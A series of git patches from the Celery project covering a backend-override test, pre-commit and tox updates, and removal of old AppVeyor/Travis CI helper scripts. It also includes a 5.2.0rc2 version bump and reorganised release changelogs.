useful if you need to store additional metadata about executed tasks, +override retry policies, etc. + +Example: + +.. code-block:: python + + override_backends = {"db": "custom_module.backend.class"} + + + Database backend settings ------------------------- diff --git a/t/unit/app/test_loaders.py b/t/unit/app/test_loaders.py index 97becf0e397..9a411e963a4 100644 --- a/t/unit/app/test_loaders.py +++ b/t/unit/app/test_loaders.py @@ -69,9 +69,12 @@ def test_init_worker_process(self): m.assert_called_with() def test_config_from_object_module(self): - self.loader.import_from_cwd = Mock() + self.loader.import_from_cwd = Mock(return_value={ + "override_backends": {"db": "custom.backend.module"}, + }) self.loader.config_from_object('module_name') self.loader.import_from_cwd.assert_called_with('module_name') + assert self.loader.override_backends == {"db": "custom.backend.module"} def test_conf_property(self): assert self.loader.conf['foo'] == 'bar' From 50b0f6bd0784ce2fd160f6b9186de4a0e1b5d4d3 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 11 Oct 2021 16:36:54 +0000 Subject: [PATCH 364/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/PyCQA/flake8: 3.9.2 → 4.0.1](https://github.com/PyCQA/flake8/compare/3.9.2...4.0.1) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 449a5a88c7b..e02add6be46 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -6,7 +6,7 @@ repos: args: ["--py37-plus"] - repo: https://github.com/PyCQA/flake8 - rev: 3.9.2 + rev: 4.0.1 hooks: - id: flake8 From c735e152d124a52be5d547b6b36d862485d388e5 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 18 Oct 2021 14:31:26 +0600 Subject: [PATCH 365/415] try to fix deprecation warning WARNING: PendingDeprecationWarning Support of old-style PyPy config keys will be removed in tox-gh-actions v3. Please use "pypy-2" and "pypy-3" instead of "pypy2" and "pypy3". Example of tox.ini: [gh-actions] python = pypy-2: pypy2 pypy-3: pypy3 # The followings won't work with tox-gh-actions v3 # pypy2: pypy2 # pypy3: pypy3 --- tox.ini | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tox.ini b/tox.ini index 64213027b9c..39cfcb5e198 100644 --- a/tox.ini +++ b/tox.ini @@ -17,7 +17,7 @@ python = 3.8: 3.8-unit 3.9: 3.9-unit 3.10: 3.10-unit - pypy3: pypy3-unit + pypy-3: pypy3-unit [testenv] sitepackages = False From 89815ca617217dc2c2fb896848ee877aec0bc69e Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 25 Oct 2021 16:35:50 +0000 Subject: [PATCH 366/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/yesqa: v1.2.3 → v1.3.0](https://github.com/asottile/yesqa/compare/v1.2.3...v1.3.0) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index e02add6be46..5897b1fd242 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -11,7 +11,7 @@ repos: - id: flake8 - repo: https://github.com/asottile/yesqa - rev: v1.2.3 + rev: v1.3.0 hooks: - id: yesqa From c9a82a3a8cb2eba36ecddc531f27f63d219fb356 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 29 Oct 2021 22:40:05 +0600 Subject: [PATCH 367/415] not needed anyore --- extra/appveyor/install.ps1 | 85 -------------------------------------- 1 file changed, 85 deletions(-) delete mode 100644 extra/appveyor/install.ps1 diff --git a/extra/appveyor/install.ps1 b/extra/appveyor/install.ps1 deleted file mode 100644 index 7166f65e37a..00000000000 --- a/extra/appveyor/install.ps1 +++ /dev/null @@ -1,85 +0,0 @@ -# Sample script to install Python and pip under Windows -# Authors: Olivier Grisel and Kyle Kastner -# License: CC0 1.0 Universal: https://creativecommons.org/publicdomain/zero/1.0/ - -$BASE_URL = "https://www.python.org/ftp/python/" -$GET_PIP_URL = "https://bootstrap.pypa.io/get-pip.py" -$GET_PIP_PATH = "C:\get-pip.py" - - -function DownloadPython ($python_version, $platform_suffix) { - $webclient = New-Object System.Net.WebClient - $filename = "python-" + $python_version + $platform_suffix + ".msi" - $url = $BASE_URL + $python_version + "/" + $filename - - $basedir = $pwd.Path + "\" - $filepath = $basedir + $filename - if (Test-Path $filename) { - Write-Host "Reusing" $filepath - return $filepath - } - - # Download and retry up to 5 times in case of network transient errors. - Write-Host "Downloading" $filename "from" $url - $retry_attempts = 3 - for($i=0; $i -lt $retry_attempts; $i++){ - try { - $webclient.DownloadFile($url, $filepath) - break - } - Catch [Exception]{ - Start-Sleep 1 - } - } - Write-Host "File saved at" $filepath - return $filepath -} - - -function InstallPython ($python_version, $architecture, $python_home) { - Write-Host "Installing Python" $python_version "for" $architecture "bit architecture to" $python_home - if (Test-Path $python_home) { - Write-Host $python_home "already exists, skipping." - return $false - } - if ($architecture -eq "32") { - $platform_suffix = "" - } else { - $platform_suffix = ".amd64" - } - $filepath = DownloadPython $python_version $platform_suffix - Write-Host "Installing" $filepath "to" $python_home - $args = "/qn /i $filepath TARGETDIR=$python_home" - Write-Host "msiexec.exe" $args - Start-Process -FilePath "msiexec.exe" -ArgumentList $args -Wait -Passthru - Write-Host "Python $python_version ($architecture) installation complete" - return $true -} - - -function InstallPip ($python_home) { - $pip_path = $python_home + "/Scripts/pip.exe" - $python_path = $python_home + "/python.exe" - if (-not(Test-Path $pip_path)) { - Write-Host "Installing pip..." - $webclient = New-Object System.Net.WebClient - $webclient.DownloadFile($GET_PIP_URL, $GET_PIP_PATH) - Write-Host "Executing:" $python_path $GET_PIP_PATH - Start-Process -FilePath "$python_path" -ArgumentList "$GET_PIP_PATH" -Wait -Passthru - } else { - Write-Host "pip already installed." - } -} - -function InstallPackage ($python_home, $pkg) { - $pip_path = $python_home + "/Scripts/pip.exe" - & $pip_path install $pkg -} - -function main () { - InstallPython $env:PYTHON_VERSION $env:PYTHON_ARCH $env:PYTHON - InstallPip $env:PYTHON - InstallPackage $env:PYTHON wheel -} - -main From 7b18240c76500e94c78325b6b2deb4469937b307 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 29 Oct 2021 22:40:29 +0600 Subject: [PATCH 368/415] not needed anyore --- extra/appveyor/run_with_compiler.cmd | 47 ---------------------------- 1 file changed, 47 deletions(-) delete mode 100644 extra/appveyor/run_with_compiler.cmd diff --git a/extra/appveyor/run_with_compiler.cmd b/extra/appveyor/run_with_compiler.cmd deleted file mode 100644 index 31bd205ecbb..00000000000 --- a/extra/appveyor/run_with_compiler.cmd +++ /dev/null @@ -1,47 +0,0 @@ -:: To build extensions for 64 bit Python 3, we need to configure environment -:: variables to use the MSVC 2010 C++ compilers from GRMSDKX_EN_DVD.iso of: -:: MS Windows SDK for Windows 7 and .NET Framework 4 (SDK v7.1) -:: -:: To build extensions for 64 bit Python 2, we need to configure environment -:: variables to use the MSVC 2008 C++ compilers from GRMSDKX_EN_DVD.iso of: -:: MS Windows SDK for Windows 7 and .NET Framework 3.5 (SDK v7.0) -:: -:: 32 bit builds do not require specific environment configurations. -:: -:: Note: this script needs to be run with the /E:ON and /V:ON flags for the -:: cmd interpreter, at least for (SDK v7.0) -:: -:: More details at: -:: https://github.com/cython/cython/wiki/64BitCythonExtensionsOnWindows -:: https://stackoverflow.com/a/13751649/163740 -:: -:: Author: Olivier Grisel -:: License: CC0 1.0 Universal: https://creativecommons.org/publicdomain/zero/1.0/ -@ECHO OFF - -SET COMMAND_TO_RUN=%* -SET WIN_SDK_ROOT=C:\Program Files\Microsoft SDKs\Windows - -SET MAJOR_PYTHON_VERSION="%PYTHON_VERSION:~0,1%" -IF %MAJOR_PYTHON_VERSION% == "2" ( - SET WINDOWS_SDK_VERSION="v7.0" -) ELSE IF %MAJOR_PYTHON_VERSION% == "3" ( - SET WINDOWS_SDK_VERSION="v7.1" -) ELSE ( - ECHO Unsupported Python version: "%MAJOR_PYTHON_VERSION%" - EXIT 1 -) - -IF "%PYTHON_ARCH%"=="64" ( - ECHO Configuring Windows SDK %WINDOWS_SDK_VERSION% for Python %MAJOR_PYTHON_VERSION% on a 64 bit architecture - SET DISTUTILS_USE_SDK=1 - SET MSSdk=1 - "%WIN_SDK_ROOT%\%WINDOWS_SDK_VERSION%\Setup\WindowsSdkVer.exe" -q -version:%WINDOWS_SDK_VERSION% - "%WIN_SDK_ROOT%\%WINDOWS_SDK_VERSION%\Bin\SetEnv.cmd" /x64 /release - ECHO Executing: %COMMAND_TO_RUN% - call %COMMAND_TO_RUN% || EXIT 1 -) ELSE ( - ECHO Using default MSVC build environment for 32 bit architecture - ECHO Executing: %COMMAND_TO_RUN% - call %COMMAND_TO_RUN% || EXIT 1 -) From 9f649b44f699a15a5cb27e738cbef9975f581fe8 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 29 Oct 2021 22:41:28 +0600 Subject: [PATCH 369/415] not used anymore --- extra/travis/is-memcached-running | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100755 extra/travis/is-memcached-running diff --git a/extra/travis/is-memcached-running b/extra/travis/is-memcached-running deleted file mode 100755 index 004608663c2..00000000000 --- a/extra/travis/is-memcached-running +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/expect -f -# based on https://stackoverflow.com/a/17265696/833093 - -set destination [lindex $argv 0] -set port [lindex $argv 1] - -spawn nc $destination $port -send stats\r -expect "END" -send quit\r -expect eof From 8570b1658a1842c3e3534b93a5ad167ca3ec6673 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 29 Oct 2021 22:45:37 +0600 Subject: [PATCH 370/415] add github discussions forum --- .github/ISSUE_TEMPLATE/Bug-Report.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/Bug-Report.md b/.github/ISSUE_TEMPLATE/Bug-Report.md index 9659e4c097e..25a9be322a1 100644 --- a/.github/ISSUE_TEMPLATE/Bug-Report.md +++ b/.github/ISSUE_TEMPLATE/Bug-Report.md @@ -13,7 +13,7 @@ bug reports which are incomplete. To check an item on the list replace [ ] with [x]. --> - [ ] I have verified that the issue exists against the `master` branch of Celery. -- [ ] This has already been asked to the [discussion group](https://groups.google.com/forum/#!forum/celery-users) first. +- [ ] This has already been asked to the [discussions forum](https://github.com/celery/celery/discussions) first. - [ ] I have read the relevant section in the [contribution guide](http://docs.celeryproject.org/en/latest/contributing.html#other-bugs) on reporting bugs. From 0009130c9f40485092a561bf088ee44e6aa254ed Mon Sep 17 00:00:00 2001 From: Naomi Elstein Date: Tue, 2 Nov 2021 13:32:42 +0200 Subject: [PATCH 371/415] =?UTF-8?q?Bump=20version:=205.2.0rc1=20=E2=86=92?= =?UTF-8?q?=205.2.0rc2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index e15f3d1d528..e30618d431d 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0rc1 +current_version = 5.2.0rc2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 9f9ccaaf47c..ca8cafaa771 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0rc1 (dawn-chorus) +:Version: 5.2.0rc2 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.2.0rc1 runs on, +Celery version 5.2.0rc2 runs on, - Python (3.7, 3.8, 3.9, 3.10) - PyPy3.7 (7.3+) @@ -90,7 +90,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.2.0rc1 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.2.0rc2 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 3757c43a725..0d40be901fe 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0rc1' +__version__ = '5.2.0rc2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 7b40123da0a..9ec52bf75db 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0rc1 (cliffs) +:Version: 5.2.0rc2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 4033851d4b0076fed314e030fa4e5f3b9e98fef2 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 2 Nov 2021 16:09:05 +0200 Subject: [PATCH 372/415] 5.2 Release (#6939) * Initial work. * Add the previous release notes to the index. * Describe memory leak fixes. * More release notes... * More release notes... * More release notes... * More release notes... * More release notes... * Whats new is now complete. * Update docs/whatsnew-5.2.rst Co-authored-by: Matus Valo * Change IRC channel to libera chat. * Change IRC channel to libera chat. * Changelog... * Beta1 changelog. * Fix typo: version 5.2, not 5.1 * Add changelog documentation for 5.2.0b2 release * Add changelog documentation for 5.2.0b3 * Add changelog documentation for 5.2.0rc1 * Add changelog documentation for 5.2.0rc2 * Change release-by to myself * Update release-date of version 5.2.0rc2 now that it has been released Co-authored-by: Asif Saif Uddin Co-authored-by: Matus Valo Co-authored-by: Naomi Elstein --- Changelog.rst | 228 ++++++++-------- docs/history/changelog-5.1.rst | 139 ++++++++++ docs/history/index.rst | 2 + docs/{ => history}/whatsnew-5.1.rst | 0 docs/includes/resources.txt | 4 +- docs/index.rst | 2 +- docs/whatsnew-5.2.rst | 386 ++++++++++++++++++++++++++++ 7 files changed, 639 insertions(+), 122 deletions(-) create mode 100644 docs/history/changelog-5.1.rst rename docs/{ => history}/whatsnew-5.1.rst (100%) create mode 100644 docs/whatsnew-5.2.rst diff --git a/Changelog.rst b/Changelog.rst index 5b724b1536d..d6853d97359 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -5,135 +5,125 @@ ================ This document contains change notes for bugfix & new features -in the & 5.1.x series, please see :ref:`whatsnew-5.1` for -an overview of what's new in Celery 5.1. +in the & 5.2.x series, please see :ref:`whatsnew-5.2` for +an overview of what's new in Celery 5.2. -.. version-5.1.2: +.. _version-5.2.0rc2: -5.1.2 -===== -:release-date: 2021-06-28 16.15 P.M UTC+3:00 -:release-by: Omer Katz - -- When chords fail, correctly call errbacks. (#6814) - - We had a special case for calling errbacks when a chord failed which - assumed they were old style. This change ensures that we call the proper - errback dispatch method which understands new and old style errbacks, - and adds test to confirm that things behave as one might expect now. -- Avoid using the ``Event.isSet()`` deprecated alias. (#6824) -- Reintroduce sys.argv default behaviour for ``Celery.start()``. (#6825) - -.. version-5.1.1: - -5.1.1 -===== -:release-date: 2021-06-17 16.10 P.M UTC+3:00 +5.2.0rc2 +======= +:release-date: 2021-11-02 1.54 P.M UTC+3:00 +:release-by: Naomi Elstein + +- Bump Python 3.10.0 to rc2. +- [pre-commit.ci] pre-commit autoupdate (#6972). +- autopep8. +- Prevent worker to send expired revoked items upon hello command (#6975). +- docs: clarify the 'keeping results' section (#6979). +- Update deprecated task module removal in 5.0 documentation (#6981). +- [pre-commit.ci] pre-commit autoupdate. +- try python 3.10 GA. +- mention python 3.10 on readme. +- Documenting the default consumer_timeout value for rabbitmq >= 3.8.15. +- Azure blockblob backend parametrized connection/read timeouts (#6978). +- Add as_uri method to azure block blob backend. +- Add possibility to override backend implementation with celeryconfig (#6879). +- [pre-commit.ci] pre-commit autoupdate. +- try to fix deprecation warning. +- [pre-commit.ci] pre-commit autoupdate. +- not needed anyore. +- not needed anyore. +- not used anymore. +- add github discussions forum + +.. _version-5.2.0rc1: + +5.2.0rc1 +======= +:release-date: 2021-09-26 4.04 P.M UTC+3:00 :release-by: Omer Katz -- Fix ``--pool=threads`` support in command line options parsing. (#6787) -- Fix ``LoggingProxy.write()`` return type. (#6791) -- Couchdb key is now always coerced into a string. (#6781) -- grp is no longer imported unconditionally. (#6804) - This fixes a regression in 5.1.0 when running Celery in non-unix systems. -- Ensure regen utility class gets marked as done when concertised. (#6789) -- Preserve call/errbacks of replaced tasks. (#6770) -- Use single-lookahead for regen consumption. (#6799) -- Revoked tasks are no longer incorrectly marked as retried. (#6812, #6816) - -.. version-5.1.0: - -5.1.0 -===== -:release-date: 2021-05-23 19.20 P.M UTC+3:00 +- Kill all workers when main process exits in prefork model (#6942). +- test kombu 5.2.0rc1 (#6947). +- try moto 2.2.x (#6948). +- Prepared Hacker News Post on Release Action. +- update setup with python 3.7 as minimum. +- update kombu on setupcfg. +- Added note about automatic killing all child processes of worker after its termination. +- [pre-commit.ci] pre-commit autoupdate. +- Move importskip before greenlet import (#6956). +- amqp: send expiration field to broker if requested by user (#6957). +- Single line drift warning. +- canvas: fix kwargs argument to prevent recursion (#6810) (#6959). +- Allow to enable Events with app.conf mechanism. +- Warn when expiration date is in the past. +- Add the Framework :: Celery trove classifier. +- Give indication whether the task is replacing another (#6916). +- Make setup.py executable. +- Bump version: 5.2.0b3 → 5.2.0rc1. + +.. _version-5.2.0b3: + +5.2.0b3 +======= +:release-date: 2021-09-02 8.38 P.M UTC+3:00 :release-by: Omer Katz -- ``celery -A app events -c camera`` now works as expected. (#6774) -- Bump minimum required Kombu version to 5.1.0. - -.. _version-5.1.0rc1: - -5.1.0rc1 -======== -:release-date: 2021-05-02 16.06 P.M UTC+3:00 +- Add args to LOG_RECEIVED (fixes #6885) (#6898). +- Terminate job implementation for eventlet concurrency backend (#6917). +- Add cleanup implementation to filesystem backend (#6919). +- [pre-commit.ci] pre-commit autoupdate (#69). +- Add before_start hook (fixes #4110) (#6923). +- Restart consumer if connection drops (#6930). +- Remove outdated optimization documentation (#6933). +- added https verification check functionality in arangodb backend (#6800). +- Drop Python 3.6 support. +- update supported python versions on readme. +- [pre-commit.ci] pre-commit autoupdate (#6935). +- Remove appveyor configuration since we migrated to GA. +- pyugrade is now set to upgrade code to 3.7. +- Drop exclude statement since we no longer test with pypy-3.6. +- 3.10 is not GA so it's not supported yet. +- Celery 5.1 or earlier support Python 3.6. +- Fix linting error. +- fix: Pass a Context when chaining fail results (#6899). +- Bump version: 5.2.0b2 → 5.2.0b3. + +.. _version-5.2.0b2: + +5.2.0b2 +======= +:release-date: 2021-08-17 5.35 P.M UTC+3:00 :release-by: Omer Katz -- Celery Mailbox accept and serializer parameters are initialized from configuration. (#6757) -- Error propagation and errback calling for group-like signatures now works as expected. (#6746) -- Fix sanitization of passwords in sentinel URIs. (#6765) -- Add LOG_RECEIVED to customize logging. (#6758) +- Test windows on py3.10rc1 and pypy3.7 (#6868). +- Route chord_unlock task to the same queue as chord body (#6896). +- Add message properties to app.tasks.Context (#6818). +- handle already converted LogLevel and JSON (#6915). +- 5.2 is codenamed dawn-chorus. +- Bump version: 5.2.0b1 → 5.2.0b2. -.. _version-5.1.0b2: +.. _version-5.2.0b1: -5.1.0b2 +5.2.0b1 ======= -:release-date: 2021-05-02 16.06 P.M UTC+3:00 +:release-date: 2021-08-11 5.42 P.M UTC+3:00 :release-by: Omer Katz -- Fix the behavior of our json serialization which regressed in 5.0. (#6561) -- Add support for SQLAlchemy 1.4. (#6709) -- Safeguard against schedule entry without kwargs. (#6619) -- ``task.apply_async(ignore_result=True)`` now avoids persisting the results. (#6713) -- Update systemd tmpfiles path. (#6688) -- Ensure AMQPContext exposes an app attribute. (#6741) -- Inspect commands accept arguments again (#6710). -- Chord counting of group children is now accurate. (#6733) -- Add a setting :setting:`worker_cancel_long_running_tasks_on_connection_loss` - to terminate tasks with late acknowledgement on connection loss. (#6654) -- The ``task-revoked`` event and the ``task_revoked`` signal are not duplicated - when ``Request.on_failure`` is called. (#6654) -- Restore pickling support for ``Retry``. (#6748) -- Add support in the redis result backend for authenticating with a username. (#6750) -- The :setting:`worker_pool` setting is now respected correctly. (#6711) - -.. _version-5.1.0b1: - -5.1.0b1 -======= -:release-date: 2021-04-02 10.25 P.M UTC+6:00 -:release-by: Asif Saif Uddin - -- Add sentinel_kwargs to Redis Sentinel docs. -- Depend on the maintained python-consul2 library. (#6544). -- Use result_chord_join_timeout instead of hardcoded default value. -- Upgrade AzureBlockBlob storage backend to use Azure blob storage library v12 (#6580). -- Improved integration tests. -- pass_context for handle_preload_options decorator (#6583). -- Makes regen less greedy (#6589). -- Pytest worker shutdown timeout (#6588). -- Exit celery with non zero exit value if failing (#6602). -- Raise BackendStoreError when set value is too large for Redis. -- Trace task optimizations are now set via Celery app instance. -- Make trace_task_ret and fast_trace_task public. -- reset_worker_optimizations and create_request_cls has now app as optional parameter. -- Small refactor in exception handling of on_failure (#6633). -- Fix for issue #5030 "Celery Result backend on Windows OS". -- Add store_eager_result setting so eager tasks can store result on the result backend (#6614). -- Allow heartbeats to be sent in tests (#6632). -- Fixed default visibility timeout note in sqs documentation. -- Support Redis Sentinel with SSL. -- Simulate more exhaustive delivery info in apply(). -- Start chord header tasks as soon as possible (#6576). -- Forward shadow option for retried tasks (#6655). -- --quiet flag now actually makes celery avoid producing logs (#6599). -- Update platforms.py "superuser privileges" check (#6600). -- Remove unused property `autoregister` from the Task class (#6624). -- fnmatch.translate() already translates globs for us. (#6668). -- Upgrade some syntax to Python 3.6+. -- Add `azureblockblob_base_path` config (#6669). -- Fix checking expiration of X.509 certificates (#6678). -- Drop the lzma extra. -- Fix JSON decoding errors when using MongoDB as backend (#6675). -- Allow configuration of RedisBackend's health_check_interval (#6666). -- Safeguard against schedule entry without kwargs (#6619). -- Docs only - SQS broker - add STS support (#6693) through kombu. -- Drop fun_accepts_kwargs backport. -- Tasks can now have required kwargs at any order (#6699). -- Min py-amqp 5.0.6. -- min billiard is now 3.6.4.0. -- Minimum kombu now is5.1.0b1. -- Numerous docs fixes. -- Moved CI to github action. -- Updated deployment scripts. -- Updated docker. -- Initial support of python 3.9 added. +- Add Python 3.10 support (#6807). +- Fix docstring for Signal.send to match code (#6835). +- No blank line in log output (#6838). +- Chords get body_type independently to handle cases where body.type does not exist (#6847). +- Fix #6844 by allowing safe queries via app.inspect().active() (#6849). +- Fix multithreaded backend usage (#6851). +- Fix Open Collective donate button (#6848). +- Fix setting worker concurrency option after signal (#6853). +- Make ResultSet.on_ready promise hold a weakref to self (#6784). +- Update configuration.rst. +- Discard jobs on flush if synack isn't enabled (#6863). +- Bump click version to 8.0 (#6861). +- Amend IRC network link to Libera (#6837). +- Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872). +- Fix inspect --json output to return valid json without --quiet. +- Remove celery.task references in modules, docs (#6869). +- The Consul backend must correctly associate requests and responses (#6823). diff --git a/docs/history/changelog-5.1.rst b/docs/history/changelog-5.1.rst new file mode 100644 index 00000000000..5b724b1536d --- /dev/null +++ b/docs/history/changelog-5.1.rst @@ -0,0 +1,139 @@ +.. _changelog: + +================ + Change history +================ + +This document contains change notes for bugfix & new features +in the & 5.1.x series, please see :ref:`whatsnew-5.1` for +an overview of what's new in Celery 5.1. + +.. version-5.1.2: + +5.1.2 +===== +:release-date: 2021-06-28 16.15 P.M UTC+3:00 +:release-by: Omer Katz + +- When chords fail, correctly call errbacks. (#6814) + + We had a special case for calling errbacks when a chord failed which + assumed they were old style. This change ensures that we call the proper + errback dispatch method which understands new and old style errbacks, + and adds test to confirm that things behave as one might expect now. +- Avoid using the ``Event.isSet()`` deprecated alias. (#6824) +- Reintroduce sys.argv default behaviour for ``Celery.start()``. (#6825) + +.. version-5.1.1: + +5.1.1 +===== +:release-date: 2021-06-17 16.10 P.M UTC+3:00 +:release-by: Omer Katz + +- Fix ``--pool=threads`` support in command line options parsing. (#6787) +- Fix ``LoggingProxy.write()`` return type. (#6791) +- Couchdb key is now always coerced into a string. (#6781) +- grp is no longer imported unconditionally. (#6804) + This fixes a regression in 5.1.0 when running Celery in non-unix systems. +- Ensure regen utility class gets marked as done when concertised. (#6789) +- Preserve call/errbacks of replaced tasks. (#6770) +- Use single-lookahead for regen consumption. (#6799) +- Revoked tasks are no longer incorrectly marked as retried. (#6812, #6816) + +.. version-5.1.0: + +5.1.0 +===== +:release-date: 2021-05-23 19.20 P.M UTC+3:00 +:release-by: Omer Katz + +- ``celery -A app events -c camera`` now works as expected. (#6774) +- Bump minimum required Kombu version to 5.1.0. + +.. _version-5.1.0rc1: + +5.1.0rc1 +======== +:release-date: 2021-05-02 16.06 P.M UTC+3:00 +:release-by: Omer Katz + +- Celery Mailbox accept and serializer parameters are initialized from configuration. (#6757) +- Error propagation and errback calling for group-like signatures now works as expected. (#6746) +- Fix sanitization of passwords in sentinel URIs. (#6765) +- Add LOG_RECEIVED to customize logging. (#6758) + +.. _version-5.1.0b2: + +5.1.0b2 +======= +:release-date: 2021-05-02 16.06 P.M UTC+3:00 +:release-by: Omer Katz + +- Fix the behavior of our json serialization which regressed in 5.0. (#6561) +- Add support for SQLAlchemy 1.4. (#6709) +- Safeguard against schedule entry without kwargs. (#6619) +- ``task.apply_async(ignore_result=True)`` now avoids persisting the results. (#6713) +- Update systemd tmpfiles path. (#6688) +- Ensure AMQPContext exposes an app attribute. (#6741) +- Inspect commands accept arguments again (#6710). +- Chord counting of group children is now accurate. (#6733) +- Add a setting :setting:`worker_cancel_long_running_tasks_on_connection_loss` + to terminate tasks with late acknowledgement on connection loss. (#6654) +- The ``task-revoked`` event and the ``task_revoked`` signal are not duplicated + when ``Request.on_failure`` is called. (#6654) +- Restore pickling support for ``Retry``. (#6748) +- Add support in the redis result backend for authenticating with a username. (#6750) +- The :setting:`worker_pool` setting is now respected correctly. (#6711) + +.. _version-5.1.0b1: + +5.1.0b1 +======= +:release-date: 2021-04-02 10.25 P.M UTC+6:00 +:release-by: Asif Saif Uddin + +- Add sentinel_kwargs to Redis Sentinel docs. +- Depend on the maintained python-consul2 library. (#6544). +- Use result_chord_join_timeout instead of hardcoded default value. +- Upgrade AzureBlockBlob storage backend to use Azure blob storage library v12 (#6580). +- Improved integration tests. +- pass_context for handle_preload_options decorator (#6583). +- Makes regen less greedy (#6589). +- Pytest worker shutdown timeout (#6588). +- Exit celery with non zero exit value if failing (#6602). +- Raise BackendStoreError when set value is too large for Redis. +- Trace task optimizations are now set via Celery app instance. +- Make trace_task_ret and fast_trace_task public. +- reset_worker_optimizations and create_request_cls has now app as optional parameter. +- Small refactor in exception handling of on_failure (#6633). +- Fix for issue #5030 "Celery Result backend on Windows OS". +- Add store_eager_result setting so eager tasks can store result on the result backend (#6614). +- Allow heartbeats to be sent in tests (#6632). +- Fixed default visibility timeout note in sqs documentation. +- Support Redis Sentinel with SSL. +- Simulate more exhaustive delivery info in apply(). +- Start chord header tasks as soon as possible (#6576). +- Forward shadow option for retried tasks (#6655). +- --quiet flag now actually makes celery avoid producing logs (#6599). +- Update platforms.py "superuser privileges" check (#6600). +- Remove unused property `autoregister` from the Task class (#6624). +- fnmatch.translate() already translates globs for us. (#6668). +- Upgrade some syntax to Python 3.6+. +- Add `azureblockblob_base_path` config (#6669). +- Fix checking expiration of X.509 certificates (#6678). +- Drop the lzma extra. +- Fix JSON decoding errors when using MongoDB as backend (#6675). +- Allow configuration of RedisBackend's health_check_interval (#6666). +- Safeguard against schedule entry without kwargs (#6619). +- Docs only - SQS broker - add STS support (#6693) through kombu. +- Drop fun_accepts_kwargs backport. +- Tasks can now have required kwargs at any order (#6699). +- Min py-amqp 5.0.6. +- min billiard is now 3.6.4.0. +- Minimum kombu now is5.1.0b1. +- Numerous docs fixes. +- Moved CI to github action. +- Updated deployment scripts. +- Updated docker. +- Initial support of python 3.9 added. diff --git a/docs/history/index.rst b/docs/history/index.rst index 88e30c0a2b0..35423550084 100644 --- a/docs/history/index.rst +++ b/docs/history/index.rst @@ -13,6 +13,8 @@ version please visit :ref:`changelog`. .. toctree:: :maxdepth: 2 + whatsnew-5.1 + changelog-5.1 whatsnew-5.0 changelog-5.0 whatsnew-4.4 diff --git a/docs/whatsnew-5.1.rst b/docs/history/whatsnew-5.1.rst similarity index 100% rename from docs/whatsnew-5.1.rst rename to docs/history/whatsnew-5.1.rst diff --git a/docs/includes/resources.txt b/docs/includes/resources.txt index 1afe96e546d..07681a464d7 100644 --- a/docs/includes/resources.txt +++ b/docs/includes/resources.txt @@ -18,10 +18,10 @@ please join the `celery-users`_ mailing list. IRC --- -Come chat with us on IRC. The **#celery** channel is located at the `Freenode`_ +Come chat with us on IRC. The **#celery** channel is located at the `Libera Chat`_ network. -.. _`Freenode`: https://freenode.net +.. _`Libera Chat`: https://freenode.net .. _bug-tracker: diff --git a/docs/index.rst b/docs/index.rst index 6b93a9d23fc..915b7c088aa 100644 --- a/docs/index.rst +++ b/docs/index.rst @@ -58,7 +58,7 @@ Contents 